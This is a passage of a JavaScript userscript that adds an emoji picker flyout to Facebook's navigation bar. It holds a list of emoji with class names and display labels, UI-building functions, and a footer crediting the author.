  855. "class" : "_1az _1a- _2ct",
  856. "name" : "Pine Decor"
  857. }, {
  858. "chars" : " \ud83c\udf8e ",
  859. "class" : "_1az _1a- _2cu",
  860. "name" : "Japanese Dolls"
  861. }, {
  862. "chars" : " \ud83c\udf8f ",
  863. "class" : "_1az _1a- _2cv",
  864. "name" : "Carp Streamer"
  865. }, {
  866. "chars" : " \ud83c\udf90 ",
  867. "class" : "_1az _1a- _2cw",
  868. "name" : "Wind Chime"
  869. }, {
  870. "chars" : " \ud83c\udf93 ",
  871. "class" : "_1az _1a- _2cx",
  872. "name" : "Graduation Cap"
  873. }, {
  874. "chars" : " \ud83c\udfb5 ",
  875. "class" : "_1az _1a- _2cy",
  876. "name" : "Musical Note"
  877. }, {
  878. "chars" : " \ud83c\udfb6 ",
  879. "class" : "_1az _1a- _2cz",
  880. "name" : "Multiple Musical Notes"
  881. }, {
  882. "chars" : " \ud83c\udfbc ",
  883. "class" : "_1az _1a- _2c-",
  884. "name" : "Musical Score"
  885. }, {
  886. "chars" : " \ud83d\udc0d ",
  887. "class" : "_1az _1a- _2c_",
  888. "name" : "Snake"
  889. }, {
  890. "chars" : " \ud83d\udc0e ",
  891. "class" : "_1az _1a- _2d0",
  892. "name" : "Horse"
  893. }, {
  894. "chars" : " \ud83d\udc11 ",
  895. "class" : "_1az _1a- _2d1",
  896. "name" : "Sheep"
  897. }, {
  898. "chars" : " \ud83d\udc12 ",
  899. "class" : "_1az _1a- _2d2",
  900. "name" : "Monkey"
  901. }, {
  902. "chars" : " \ud83d\udc14 ",
  903. "class" : "_1az _1a- _2d3",
  904. "name" : "Hen"
  905. }, {
  906. "chars" : " \ud83d\udc17 ",
  907. "class" : "_1az _1a- _2d4",
  908. "name" : "Wild Boar"
  909. }, {
  910. "chars" : " \ud83d\udc18 ",
  911. "class" : "_1az _1a- _2d5",
  912. "name" : "Elephant"
  913. }, {
  914. "chars" : " \ud83d\udc19 ",
  915. "class" : "_1az _1a- _2d6",
  916. "name" : "Octopus"
  917. }, {
  918. "chars" : " \ud83d\udc1a ",
  919. "class" : "_1az _1a- _2d7",
  920. "name" : "Snail Shell"
  921. }, {
  922. "chars" : " \ud83d\udc1b ",
  923. "class" : "_1az _1a- _2d8",
  924. "name" : "Insect"
  925. }, {
  926. "chars" : " \ud83d\udc1f ",
  927. "class" : "_1az _1a- _2d9",
  928. "name" : "Fish"
  929. }, {
  930. "chars" : " \ud83d\udc20 ",
  931. "class" : "_1az _1a- _2da",
  932. "name" : "Tropical Fish"
  933. }, {
  934. "chars" : " \ud83d\udc21 ",
  935. "class" : "_1az _1a- _2db",
  936. "name" : "Pufferfish"
  937. }, {
  938. "chars" : " \ud83d\udc25 ",
  939. "class" : "_1az _1a- _2dc",
  940. "name" : "Chick In Front"
  941. }, {
  942. "chars" : " \ud83d\udc26 ",
  943. "class" : "_1az _1a- _2dd",
  944. "name" : "Bird"
  945. }, {
  946. "chars" : " \ud83d\udc27 ",
  947. "class" : "_1az _1a- _2de",
  948. "name" : "Penguin"
  949. }, {
  950. "chars" : " \ud83d\udc28 ",
  951. "class" : "_1az _1a- _2df",
  952. "name" : "Koala"
  953. }, {
  954. "chars" : " \ud83d\udc29 ",
  955. "class" : "_1az _1a- _2dg",
  956. "name" : "Poodle"
  957. }, {
  958. "chars" : " \ud83d\udc2b ",
  959. "class" : "_1az _1a- _2dh",
  960. "name" : "Bactrian Camel"
  961. }, {
  962. "chars" : " \ud83d\udc2c ",
  963. "class" : "_1az _1a- _2di",
  964. "name" : "Dolphin"
  965. }, {
  966. "chars" : " \ud83d\udc2d ",
  967. "class" : "_1az _1a- _2dj",
  968. "name" : "Mouse Face"
  969. }, {
  970. "chars" : " \ud83d\udc2e ",
  971. "class" : "_1az _1a- _2dk",
  972. "name" : "Cow Face"
  973. }, {
  974. "chars" : " \ud83d\udc2f ",
  975. "class" : "_1az _1a- _2dl",
  976. "name" : "Cara de tigre"
  977. }, {
  978. "chars" : " \ud83d\udc30 ",
  979. "class" : "_1az _1a- _2dm",
  980. "name" : "Rabbit Face"
  981. }, {
  982. "chars" : " \ud83d\udc31 ",
  983. "class" : "_1az _1a- _2dn",
  984. "name" : "Cat Face"
  985. }, {
  986. "chars" : " \ud83d\udc33 ",
  987. "class" : "_1az _1a- _2do",
  988. "name" : "Whale Sputtering"
  989. }, {
  990. "chars" : " \ud83d\udc34 ",
  991. "class" : "_1az _1a- _2dp",
  992. "name" : "Horse Face"
  993. }, {
  994. "chars" : " \ud83d\udc35 ",
  995. "class" : "_1az _1a- _2dq",
  996. "name" : "Monkey Face"
  997. }, {
  998. "chars" : " \ud83d\udc37 ",
  999. "class" : "_1az _1a- _2dr",
  1000. "name" : "Pig face"
  1001. }, {
  1002. "chars" : " \ud83d\udc38 ",
  1003. "class" : "_1az _1a- _2ds",
  1004. "name" : "Frog Face"
  1005. }, {
  1006. "chars" : " \ud83d\udc39 ",
  1007. "class" : "_1az _1a- _2dt",
  1008. "name" : "Hamster Face"
  1009. }, {
  1010. "chars" : " \ud83d\udc3a ",
  1011. "class" : "_1az _1a- _2du",
  1012. "name" : "Wolf Face"
  1013. }, {
  1014. "chars" : " \ud83d\udc3b ",
  1015. "class" : "_1az _1a- _2dv",
  1016. "name" : "Bear Face"
  1017. }, {
  1018. "chars" : " \ud83d\udc3e ",
  1019. "class" : "_1az _1a- _2dw",
  1020. "name" : "Footprints"
  1021. }, {
  1022. "chars" : " \ud83d\udc40 ",
  1023. "class" : "_1az _1a- _2dx",
  1024. "name" : "Eyes"
  1025. }, {
  1026. "chars" : " \ud83d\udc42 ",
  1027. "class" : "_1az _1a- _2dy",
  1028. "name" : "Ear"
  1029. }, {
  1030. "chars" : " \ud83d\udc43 ",
  1031. "class" : "_1az _1a- _2dz",
  1032. "name" : "Nose"
  1033. }, {
  1034. "chars" : " \ud83d\udc44 ",
  1035. "class" : "_1az _1a- _2d-",
  1036. "name" : "Mouth"
  1037. }, {
  1038. "chars" : " \ud83d\udc45 ",
  1039. "class" : "_1az _1a- _2d_",
  1040. "name" : "Sour Face"
  1041. }, {
  1042. "chars" : " \ud83d\udc46 ",
  1043. "class" : "_1az _1a- _2e0",
  1044. "name" : "White hand pointing up"
  1045. }, {
  1046. "chars" : " \ud83d\udc47 ",
  1047. "class" : "_1az _1a- _2e1",
  1048. "name" : "White hand faces downward"
  1049. }, {
  1050. "chars" : " \ud83d\udc48 ",
  1051. "class" : "_1az _1a- _2e2",
  1052. "name" : "White hand indicating left"
  1053. }, {
  1054. "chars" : " \ud83d\udc49 ",
  1055. "class" : "_1az _1a- _2e3",
  1056. "name" : "White hand indicating right"
  1057. }, {
  1058. "chars" : " \ud83d\udc4a ",
  1059. "class" : "_1az _1a- _2e4",
  1060. "name" : "Fist"
  1061. }, {
  1062. "chars" : " \ud83d\udc4b ",
  1063. "class" : "_1az _1a- _2e5",
  1064. "name" : "Hand in motion"
  1065. }, {
  1066. "chars" : " \ud83d\udc4c ",
  1067. "class" : "_1az _1a- _2e6",
  1068. "name" : "Hand showing all good"
  1069. }, {
  1070. "chars" : " \ud83d\udc4d ",
  1071. "class" : "_1az _1a- _2e7",
  1072. "name" : "Hand with thumb up"
  1073. }, {
  1074. "chars" : " \ud83d\udc4e ",
  1075. "class" : "_1az _1a- _2e8",
  1076. "name" : "Hand with thumb down"
  1077. }, {
  1078. "chars" : " \ud83d\udc4f ",
  1079. "class" : "_1az _1a- _2e9",
  1080. "name" : "Hands clapping"
  1081. }, {
  1082. "chars" : " \ud83d\udc50 ",
  1083. "class" : "_1az _1a- _2ea",
  1084. "name" : "Open Hands"
  1085. }, {
  1086. "chars" : " \ud83d\udc66 ",
  1087. "class" : "_1az _1a- _2eb",
  1088. "name" : "Boy"
  1089. }, {
  1090. "chars" : " \ud83d\udc67 ",
  1091. "class" : "_1az _1a- _2ec",
  1092. "name" : "Girl"
  1093. }, {
  1094. "chars" : " \ud83d\udc68 ",
  1095. "class" : "_1az _1a- _2ed",
  1096. "name" : "Man"
  1097. }, {
  1098. "chars" : " \ud83d\udc69 ",
  1099. "class" : "_1az _1a- _2ee",
  1100. "name" : "Woman"
  1101. }, {
  1102. "chars" : " \ud83d\udc6b ",
  1103. "class" : "_1az _1a- _2ef",
  1104. "name" : "Man and woman holding hands"
  1105. }, {
  1106. "chars" : " \ud83d\udc6e ",
  1107. "class" : "_1az _1a- _2eg",
  1108. "name" : "Police Officer"
  1109. }, {
  1110. "chars" : " \ud83d\udc6f ",
  1111. "class" : "_1az _1a- _2eh",
  1112. "name" : "Woman with bunny ears"
  1113. }, {
  1114. "chars" : " \ud83d\udc71 ",
  1115. "class" : "_1az _1a- _2ei",
  1116. "name" : "Person with hair rubio"
  1117. }, {
  1118. "chars" : " \ud83d\udc72 ",
  1119. "class" : "_1az _1a- _2ej",
  1120. "name" : "Man with pi mao gua"
  1121. }, {
  1122. "chars" : " \ud83d\udc73 ",
  1123. "class" : "_1az _1a- _2ek",
  1124. "name" : "Man with turban"
  1125. }, {
  1126. "chars" : " \ud83d\udc74 ",
  1127. "class" : "_1az _1a- _2el",
  1128. "name" : "Old Man"
  1129. }, {
  1130. "chars" : " \ud83d\udc75 ",
  1131. "class" : "_1az _1a- _2em",
  1132. "name" : "Old Woman"
  1133. }, {
  1134. "chars" : " \ud83d\udc76 ",
  1135. "class" : "_1az _1a- _2en",
  1136. "name" : "Baby"
  1137. }, {
  1138. "chars" : " \ud83d\udc77 ",
  1139. "class" : "_1az _1a- _2eo",
  1140. "name" : "Construction Worker"
  1141. }, {
  1142. "chars" : " \ud83d\udc78 ",
  1143. "class" : "_1az _1a- _2ep",
  1144. "name" : "Princess"
  1145. }, {
  1146. "chars" : " \ud83d\udc7b ",
  1147. "class" : "_1az _1a- _2eq",
  1148. "name" : "Ghost"
  1149. }, {
  1150. "chars" : " \ud83d\udc7c ",
  1151. "class" : "_1az _1a- _2er",
  1152. "name" : "Angel baby"
  1153. }, {
  1154. "chars" : " \ud83d\udc7d ",
  1155. "class" : "_1az _1a- _2es",
  1156. "name" : "Alien"
  1157. }, {
  1158. "chars" : " \ud83d\udc7e ",
  1159. "class" : "_1az _1a- _2et",
  1160. "name" : "Alien Monster"
  1161. }, {
  1162. "chars" : " \ud83d\udc7f ",
  1163. "class" : "_1az _1a- _2eu",
  1164. "name" : "Imp"
  1165. }, {
  1166. "chars" : " \ud83d\udc80 ",
  1167. "class" : "_1az _1a- _2ev",
  1168. "name" : "Skull"
  1169. }, {
  1170. "chars" : " \ud83d\udc82 ",
  1171. "class" : "_1az _1a- _2ew",
  1172. "name" : "Guard"
  1173. }, {
  1174. "chars" : " \ud83d\udc83 ",
  1175. "class" : "_1az _1a- _2ex",
  1176. "name" : "Ballerina"
  1177. }, {
  1178. "chars" : " \ud83d\udc85 ",
  1179. "class" : "_1az _1a- _2ey",
  1180. "name" : "Nail Polish"
  1181. }, {
  1182. "chars" : " \ud83d\udc8b ",
  1183. "class" : "_1az _1a- _2ez",
  1184. "name" : "Brand of kiss"
  1185. }, {
  1186. "chars" : " \ud83d\udc8f ",
  1187. "class" : "_1az _1a- _2e-",
  1188. "name" : "Kissing couple"
  1189. }, {
  1190. "chars" : " \ud83d\udc90 ",
  1191. "class" : "_1az _1a- _2e_",
  1192. "name" : "Bunch of flowers"
  1193. }, {
  1194. "chars" : " \ud83d\udc91 ",
  1195. "class" : "_1az _1a- _2f0",
  1196. "name" : "Couple with heart"
  1197. }, {
  1198. "chars" : " \ud83d\udc93 ",
  1199. "class" : "_1az _1a- _2f1",
  1200. "name" : "Heart beating"
  1201. }, {
  1202. "chars" : " \ud83d\udc94 ",
  1203. "class" : "_1az _1a- _2f2",
  1204. "name" : "Broken Heart"
  1205. }, {
  1206. "chars" : " \ud83d\udc96 ",
  1207. "class" : "_1az _1a- _2f3",
  1208. "name" : "Bright Heart"
  1209. }, {
  1210. "chars" : " \ud83d\udc97 ",
  1211. "class" : "_1az _1a- _2f4",
  1212. "name" : "Heart growing"
  1213. }, {
  1214. "chars" : " \ud83d\udc98 ",
  1215. "class" : "_1az _1a- _2f5",
  1216. "name" : "Heart with arrow"
  1217. }, {
  1218. "chars" : " \ud83d\udc99 ",
  1219. "class" : "_1az _1a- _2f6",
  1220. "name" : "Blue Heart"
  1221. }, {
  1222. "chars" : " \ud83d\udc9a ",
  1223. "class" : "_1az _1a- _2f7",
  1224. "name" : "Green Heart"
  1225. }, {
  1226. "chars" : " \ud83d\udc9b ",
  1227. "class" : "_1az _1a- _2f8",
  1228. "name" : "Yellow Heart"
  1229. }, {
  1230. "chars" : " \ud83d\udc9c ",
  1231. "class" : "_1az _1a- _2f9",
  1232. "name" : "Purple Heart"
  1233. }, {
  1234. "chars" : " \ud83d\udc9d ",
  1235. "class" : "_1az _1a- _2fa",
  1236. "name" : "Heart with ribbon"
  1237. }, {
  1238. "chars" : " \ud83d\udca2 ",
  1239. "class" : "_1az _1a- _2fb",
  1240. "name" : "Symbol of anger"
  1241. }, {
  1242. "chars" : " \ud83d\udca4 ",
  1243. "class" : "_1az _1a- _2fc",
  1244. "name" : "Sleeping"
  1245. }, {
  1246. "chars" : " \ud83d\udca6 ",
  1247. "class" : "_1az _1a- _2fd",
  1248. "name" : "Sweat Symbol"
  1249. }, {
  1250. "chars" : " \ud83d\udca8 ",
  1251. "class" : "_1az _1a- _2fe",
  1252. "name" : "Quick Start Symbol"
  1253. }, {
  1254. "chars" : " \ud83d\udca9 ",
  1255. "class" : "_1az _1a- _2ff",
  1256. "name" : "Pile of Caca"
  1257. }, {
  1258. "chars" : " \ud83d\udcaa ",
  1259. "class" : "_1az _1a- _2fg",
  1260. "name" : "Flexed bicep"
  1261. }, {
  1262. "chars" : " \ud83d\udcbb ",
  1263. "class" : "_1az _1a- _2fh",
  1264. "name" : "Personal Computer"
  1265. }, {
  1266. "chars" : " \ud83d\udcbd ",
  1267. "class" : "_1az _1a- _2fi",
  1268. "name" : "Mini Disco"
  1269. }, {
  1270. "chars" : " \ud83d\udcbe ",
  1271. "class" : "_1az _1a- _2fj",
  1272. "name" : "Floppy disk"
  1273. }, {
  1274. "chars" : " \ud83d\udcbf ",
  1275. "class" : "_1az _1a- _2fk",
  1276. "name" : "Optical Disc"
  1277. }, {
  1278. "chars" : " \ud83d\udcc0 ",
  1279. "class" : "_1az _1a- _2fl",
  1280. "name" : "DVD"
  1281. }, {
  1282. "chars" : " \ud83d\udcde ",
  1283. "class" : "_1az _1a- _2fm",
  1284. "name" : "Telephone receiver"
  1285. }, {
  1286. "chars" : " \ud83d\udce0 ",
  1287. "class" : "_1az _1a- _2fn",
  1288. "name" : "Fax"
  1289. }, {
  1290. "chars" : " \ud83d\udcf1 ",
  1291. "class" : "_1az _1a- _2fo",
  1292. "name" : "Mobile Phone"
  1293. }, {
  1294. "chars" : " \ud83d\udcf2 ",
  1295. "class" : "_1az _1a- _2fp",
  1296. "name" : "Mobile phone with arrow from left to right"
  1297. }, {
  1298. "chars" : " \ud83d\udcfa ",
  1299. "class" : "_1az _1a- _2fq",
  1300. "name" : "Television"
  1301. }, {
  1302. "chars" : " \ud83d\udd14 ",
  1303. "class" : "_1az _1a- _2fr",
  1304. "name" : "Bell"
  1305. }, {
  1306. "chars" : " \ud83d\ude01 ",
  1307. "class" : "_1az _1a- _2fs",
  1308. "name" : "Face to face with smiling eyes"
  1309. }, {
  1310. "chars" : " \ud83d\ude02 ",
  1311. "class" : "_1az _1a- _2ft",
  1312. "name" : "Face with tears of joy"
  1313. }, {
  1314. "chars" : " \ud83d\ude03 ",
  1315. "class" : "_1az _1a- _2fu",
  1316. "name" : "Smiley face with open mouth"
  1317. }, {
  1318. "chars" : " \ud83d\ude04 ",
  1319. "class" : "_1az _1a- _2fv",
  1320. "name" : "Face and eyes smiling with mouth open"
  1321. }, {
  1322. "chars" : " \ud83d\ude06 ",
  1323. "class" : "_1az _1a- _2fw",
  1324. "name" : "Smiley face with mouth open and eyes closed"
  1325. }, {
  1326. "chars" : " \ud83d\ude09 ",
  1327. "class" : "_1az _1a- _2fx",
  1328. "name" : "Face winking eye"
  1329. }, {
  1330. "chars" : " \ud83d\ude0b ",
  1331. "class" : "_1az _1a- _2fy",
  1332. "name" : "Guy savoring delicious food"
  1333. }, {
  1334. "chars" : " \ud83d\ude0c ",
  1335. "class" : "_1az _1a- _2fz",
  1336. "name" : "Relief face"
  1337. }, {
  1338. "chars" : " \ud83d\ude0d ",
  1339. "class" : "_1az _1a- _2f-",
  1340. "name" : "Smiley face with heart shaped eyes"
  1341. }, {
  1342. "chars" : " \ud83d\ude0f ",
  1343. "class" : "_1az _1a- _2f_",
  1344. "name" : "Smirk face"
  1345. }, {
  1346. "chars" : " \ud83d\ude12 ",
  1347. "class" : "_1az _1a- _2g0",
  1348. "name" : "Face of boredom"
  1349. }, {
  1350. "chars" : " \ud83d\ude13 ",
  1351. "class" : "_1az _1a- _2g1",
  1352. "name" : "Face with cold sweat"
  1353. }, {
  1354. "chars" : " \ud83d\ude14 ",
  1355. "class" : "_1az _1a- _2g2",
  1356. "name" : "Pensive face"
  1357. }, {
  1358. "chars" : " \ud83d\ude16 ",
  1359. "class" : "_1az _1a- _2g3",
  1360. "name" : "Confused face"
  1361. }, {
  1362. "chars" : " \ud83d\ude18 ",
  1363. "class" : "_1az _1a- _2g4",
  1364. "name" : "Throwing kiss Face"
  1365. }, {
  1366. "chars" : " \ud83d\ude1a ",
  1367. "class" : "_1az _1a- _2g5",
  1368. "name" : "Kissing face with eyes closed"
  1369. }, {
  1370. "chars" : " \ud83d\ude1c ",
  1371. "class" : "_1az _1a- _2g6",
  1372. "name" : "Face with tongue out and winking"
  1373. }, {
  1374. "chars" : " \ud83d\ude1d ",
  1375. "class" : "_1az _1a- _2g7",
  1376. "name" : "Face with tongue hanging out and eyes closed"
  1377. }, {
  1378. "chars" : " \ud83d\ude1e ",
  1379. "class" : "_1az _1a- _2g8",
  1380. "name" : "Face discouraged"
  1381. }, {
  1382. "chars" : " \ud83d\ude20 ",
  1383. "class" : "_1az _1a- _2g9",
  1384. "name" : "Face of anger"
  1385. }, {
  1386. "chars" : " \ud83d\ude21 ",
  1387. "class" : "_1az _1a- _2ga",
  1388. "name" : "Very angry face"
  1389. }, {
  1390. "chars" : " \ud83d\ude22 ",
  1391. "class" : "_1az _1a- _2gb",
  1392. "name" : "Crying Face"
  1393. }, {
  1394. "chars" : " \ud83d\ude23 ",
  1395. "class" : "_1az _1a- _2gc",
  1396. "name" : "Face of perseverance"
  1397. }, {
  1398. "chars" : " \ud83d\ude24 ",
  1399. "class" : "_1az _1a- _2gd",
  1400. "name" : "Face of triumph"
  1401. }, {
  1402. "chars" : " \ud83d\ude25 ",
  1403. "class" : "_1az _1a- _2ge",
  1404. "name" : "Face discouraged but relieved"
  1405. }, {
  1406. "chars" : " \ud83d\ude28 ",
  1407. "class" : "_1az _1a- _2gf",
  1408. "name" : "Scary face"
  1409. }, {
  1410. "chars" : " \ud83d\ude29 ",
  1411. "class" : "_1az _1a- _2gg",
  1412. "name" : "Fatigued face"
  1413. }, {
  1414. "chars" : " \ud83d\ude2a ",
  1415. "class" : "_1az _1a- _2gh",
  1416. "name" : "Sleeping face"
  1417. }, {
  1418. "chars" : " \ud83d\ude2b ",
  1419. "class" : "_1az _1a- _2gi",
  1420. "name" : "Tired face"
  1421. }, {
  1422. "chars" : " \ud83d\ude2d ",
  1423. "class" : "_1az _1a- _2gj",
  1424. "name" : "Face screaming"
  1425. }, {
  1426. "chars" : " \ud83d\ude30 ",
  1427. "class" : "_1az _1a- _2gk",
  1428. "name" : "Face with mouth open and cold sweat"
  1429. }, {
  1430. "chars" : " \ud83d\ude31 ",
  1431. "class" : "_1az _1a- _2gl",
  1432. "name" : "Terrified face of fear"
  1433. }, {
  1434. "chars" : " \ud83d\ude32 ",
  1435. "class" : "_1az _1a- _2gm",
  1436. "name" : "Very surprised face"
  1437. }, {
  1438. "chars" : " \ud83d\ude33 ",
  1439. "class" : "_1az _1a- _2gn",
  1440. "name" : "Face flushed"
  1441. }, {
  1442. "chars" : " \ud83d\ude35 ",
  1443. "class" : "_1az _1a- _2go",
  1444. "name" : "Face dizzy"
  1445. }, {
  1446. "chars" : " \ud83d\ude37 ",
  1447. "class" : "_1az _1a- _2gp",
  1448. "name" : "Face with medical mask"
  1449. }, {
  1450. "chars" : " \ud83d\ude38 ",
  1451. "class" : "_1az _1a- _2gq",
  1452. "name" : "Grinning Cat face and eyes closed"
  1453. }, {
  1454. "chars" : " \ud83d\ude39 ",
  1455. "class" : "_1az _1a- _2gr",
  1456. "name" : "Cat face with tears of laughter"
  1457. }, {
  1458. "chars" : " \ud83d\ude3a ",
  1459. "class" : "_1az _1a- _2gs",
  1460. "name" : "Smiling cat face with open mouth"
  1461. }, {
  1462. "chars" : " \ud83d\ude3b ",
  1463. "class" : "_1az _1a- _2gt",
  1464. "name" : "Smiling cat face with hearts in her eyes"
  1465. }, {
  1466. "chars" : " \ud83d\ude3c ",
  1467. "class" : "_1az _1a- _2gu",
  1468. "name" : "Face of cat smile twisted"
  1469. }, {
  1470. "chars" : " \ud83d\ude3d ",
  1471. "class" : "_1az _1a- _2gv",
  1472. "name" : "Cat face kissing with eyes closed"
  1473. }, {
  1474. "chars" : " \ud83d\ude3f ",
  1475. "class" : "_1az _1a- _2gw",
  1476. "name" : "Cat face crying"
  1477. }, {
  1478. "chars" : " \ud83d\ude40 ",
  1479. "class" : "_1az _1a- _2gx",
  1480. "name" : "Cat face scared terrified"
  1481. }, {
  1482. "chars" : " \ud83d\ude4b ",
  1483. "class" : "_1az _1a- _2gy",
  1484. "name" : "Happy person raising a hand"
  1485. }, {
  1486. "chars" : " \ud83d\ude4c ",
  1487. "class" : "_1az _1a- _2gz",
  1488. "name" : "Person holding up both hands in celebration"
  1489. }, {
  1490. "chars" : " \ud83d\ude4d ",
  1491. "class" : "_1az _1a- _2g-",
  1492. "name" : "Person frowning"
  1493. }, {
  1494. "chars" : " \ud83d\ude4f ",
  1495. "class" : "_1az _1a- _2g_",
  1496. "name" : "Person in prayer"
  1497. }, {
  1498. "chars" : " \u261d ",
  1499. "class" : "_1az _1a- _2h0",
  1500. "name" : "Index finger pointing up"
  1501. }, {
  1502. "chars" : " \u263a ",
  1503. "class" : "_1az _1a- _2h1",
  1504. "name" : "White face smiling"
  1505. }, {
  1506. "chars" : " \u26a1 ",
  1507. "class" : "_1az _1a- _2h2",
  1508. "name" : "High voltage symbol"
  1509. }, {
  1510. "chars" : " \u26c4 ",
  1511. "class" : "_1az _1a- _2h3",
  1512. "name" : "Snowless snowman"
  1513. }, {
  1514. "chars" : " \u270a ",
  1515. "class" : "_1az _1a- _2h4",
  1516. "name" : "Fist up"
  1517. }, {
  1518. "chars" : " \u270b ",
  1519. "class" : "_1az _1a- _2h5",
  1520. "name" : "Hand pointing up"
  1521. }, {
  1522. "chars" : " \u270c ",
  1523. "class" : "_1az _1a- _2h6",
  1524. "name" : "Winning Hand"
  1525. }, {
  1526. "chars" : " \u2600 ",
  1527. "class" : "_1az _1a- _2h7",
  1528. "name" : "Sun With Rays"
  1529. }, {
  1530. "chars" : " \u2601 ",
  1531. "class" : "_1az _1a- _2h8",
  1532. "name" : "Cloud"
  1533. }, {
  1534. "chars" : " \u2614 ",
  1535. "class" : "_1az _1a- _2h9",
  1536. "name" : "Umbrella With Rain Drops"
  1537. }, {
  1538. "chars" : " \u2615 ",
  1539. "class" : "_1az _1a- _2ha",
  1540. "name" : "Hot Drink"
  1541. }, {
  1542. "chars" : " \u2728 ",
  1543. "class" : "_1az _1a- _2hb",
  1544. "name" : "Brightness"
  1545. }, {
  1546. "chars" : " \u2764 ",
  1547. "class" : "_1az _1a- _2hc",
  1548. "name" : "Heavy Black Heart"
  1549. } ];
  1550.  
  1551. // = Variables =======
  1552. var lastActiveElement = document.activeElement;
  1553.  
  1554. // = Functions =======
  1555. function createElement(html) {
  1556. var outerHTML = document.createElement("div");
  1557. outerHTML.innerHTML = html;
  1558. return outerHTML.firstChild;
  1559. }
  1560.  
  1561. function htmlSpecialChars(string) {
  1562. var div = document.createElement("div");
  1563. var text = document.createTextNode(string);
  1564. div.appendChild(text);
  1565. return div.innerHTML;
  1566. }
  1567.  
  1568. function isInstanceOfTextInput(element) {
  1569. return (element instanceof HTMLInputElement && element.type == "text")
  1570. || element instanceof HTMLTextAreaElement;
  1571. }
  1572.  
  1573. function isFlyoutOpen(flyout) {
  1574. return flyout.className == "openToggler";
  1575. }
  1576.  
  1577. function openFlyout(flyout, open) {
  1578. if (open === undefined) {
  1579. open = !isFlyoutOpen(flyout); // Toggle
  1580. }
  1581.  
  1582. if (open) {
  1583. flyout.className = "openToggler";
  1584. } else {
  1585. flyout.removeAttribute("class");
  1586. }
  1587. }
  1588.  
  1589. function createTab(titleContainer, bodyContainer) {
  1590. var html;
  1591. // Tab; default = inactive
  1592. html = '<li class="jewelFlyout fbJewelFlyout uiToggleFlyout">';
  1593. html += '<div class="jewelFlyout">';
  1594. html += '</div>';
  1595. html += '</li>';
  1596. var title = createElement(html);
  1597. titleContainer.appendChild(title);
  1598.  
  1599. // Manual input
  1600. html = '<div style="display: none;">';
  1601. html += '</div>';
  1602. var body = createElement(html);
  1603. bodyContainer.appendChild(body);
  1604.  
  1605. // Change tab listener
  1606. (function(body) {
  1607. title.addEventListener("click", function() {
  1608. // Change tab
  1609. var titles = this.parentNode.childNodes; // tab.tabContainer.childNodes
  1610. for ( var t = 0; t < titles.length; t++) {
  1611. if (titles[t] === this) { // Active
  1612.  
  1613. } else { // Inactive
  1614. titles[t].style.background = "";
  1615. titles[t].firstChild.style.color = "";
  1616. }
  1617. }
  1618.  
  1619. // Change body
  1620. var bodies = body.parentNode.childNodes; // body.bodyContainer.childNodes
  1621. for ( var b = 0; b < bodies.length; b++) {
  1622. if (bodies[b] === body) { // Show
  1623. body.style.display = "";
  1624. } else { // Hide
  1625. bodies[b].style.display = "none";
  1626. }
  1627. }
  1628. });
  1629. })(body);
  1630.  
  1631. return {
  1632. "title" : title.firstChild,
  1633. "body" : body
  1634. };
  1635. }
  1636.  
  1637. function createTabListBody(emoticons, filter) {
  1638. var html;
  1639.  
  1640. html = '<div style="max-height: 200px; padding-right: 15px; overflow-x: hidden; line-height: 1em;">';
  1641. html += '<div style="padding: 10px; width: 200px; font-size: 15px;">';
  1642. html += '</div>';
  1643. html += '</div>';
  1644. var body = createElement(html).firstChild;
  1645. for ( var e = 0; e < emoticons.length; e++) {
  1646. var emoticon = emoticons[e];
  1647. if (!filter(emoticon)) {
  1648. continue;
  1649. }
  1650.  
  1651. // Icons
  1652. html = '<span class="panelCell" style="display: inline-block; vertical-align: middle; padding: 2px;">';
  1653. html += '<a';
  1654. html += ' class="emoticon'
  1655. + (emoticon.class !== undefined ? ' ' + emoticon.class : '')
  1656. + '"';
  1657. html += ' style="text-decoration: inherit; color: inherit;'
  1658. + (emoticon.class !== undefined ? ' color: transparent;'
  1659. : ' width: auto;') + '"';
  1660. html += (emoticon.name !== undefined ? ' title="' + emoticon.name
  1661. + '"' : '');
  1662. html += '>';
  1663. html += htmlSpecialChars(emoticon.chars);
  1664. html += '</a>';
  1665. html += '</span>';
  1666. var cell = createElement(html);
  1667. body.appendChild(cell);
  1668.  
  1669. // Select emoticon listener
  1670. var emoticonA = cell.firstChild;
  1671. (function(emoticon) {
  1672. emoticonA.addEventListener("click", function() {
  1673. if (isInstanceOfTextInput(lastActiveElement)) {
  1674. lastActiveElement.focus();
  1675.  
  1676. var chars = emoticon.chars;
  1677. var value = lastActiveElement.value;
  1678. var start = lastActiveElement.selectionStart;
  1679. var end = lastActiveElement.selectionEnd;
  1680. lastActiveElement.value = value.substring(0, start)
  1681. + chars + value.substring(end);
  1682. lastActiveElement.setSelectionRange(start + chars.length, start + chars.length);
  1683. }
  1684.  
  1685. openFlyoutCommand = false; // Close flyout
  1686. });
  1687. })(emoticon);
  1688. }
  1689.  
  1690. return body.parentNode;
  1691. }
  1692.  
  1693. // = Construct UI =======
  1694. var html;
  1695.  
  1696. // Menu item
  1697. // var navItem
  1698. html = '<li class="navItem middleItem notifNegativeBase">';
  1699. html += '<div class="fbJewel">';
  1700. // {
  1701.  
  1702. // Toggler
  1703. html += '<a class="navLink" title="Show Facebook Extra Emoticons">'; // var navLink
  1704. html += '<span style="vertical-align: middle;"><img src="http://static.ak.fbcdn.net/rsrc.php/v1/yY/r/7OqExvAe82o.gif"></img></span>';
  1705. html += '</a>';
  1706.  
  1707.  
  1708. // Flyout
  1709. html += '<div>'; // openToggler; var flyout
  1710. html += '<div class="emoticonsPanel fbJewelFlyout uiToggleFlyout" style="z-index: 1; width: auto;">';
  1711. // {
  1712.  
  1713.  
  1714. // Beeper
  1715. html += '<div class="jewelBeeperHeader">';
  1716. html += '<div class="beeperNubWrapper">';
  1717. html += '<div class="beeperNub" style="left: 4px;"></div>';
  1718. html += '</div>';
  1719. html += '</div>';
  1720.  
  1721. // Tabs
  1722. // var titleContainer
  1723. html += '<ul style="display: text-align: center;">';
  1724. html += '</ul>';
  1725.  
  1726. // Bodies
  1727. html += '<div>'; // var bodyContainer
  1728. html += '</div>';
  1729.  
  1730. // Footer
  1731. html += '<div class="jewelFooter">';
  1732. html += '<a class="jewelFooter" href="https://www.facebook.com/adib.p.nuraga" target="_blank">Created by Adib Pugar Nuraga <br>KLIK DISINI</a>';
  1733. html += '</div>';
  1734.  
  1735. // }
  1736. html += '</div>'; // emoticonsPanel
  1737. html += '</div>'; // openToggler
  1738.  
  1739. // }
  1740. html += '</div>'; // fbJewel
  1741. html += '</li>'; // navItem
  1742.  
  1743. var navItem = createElement(html);
  1744. var pageNav = document.querySelector("#pageNav");
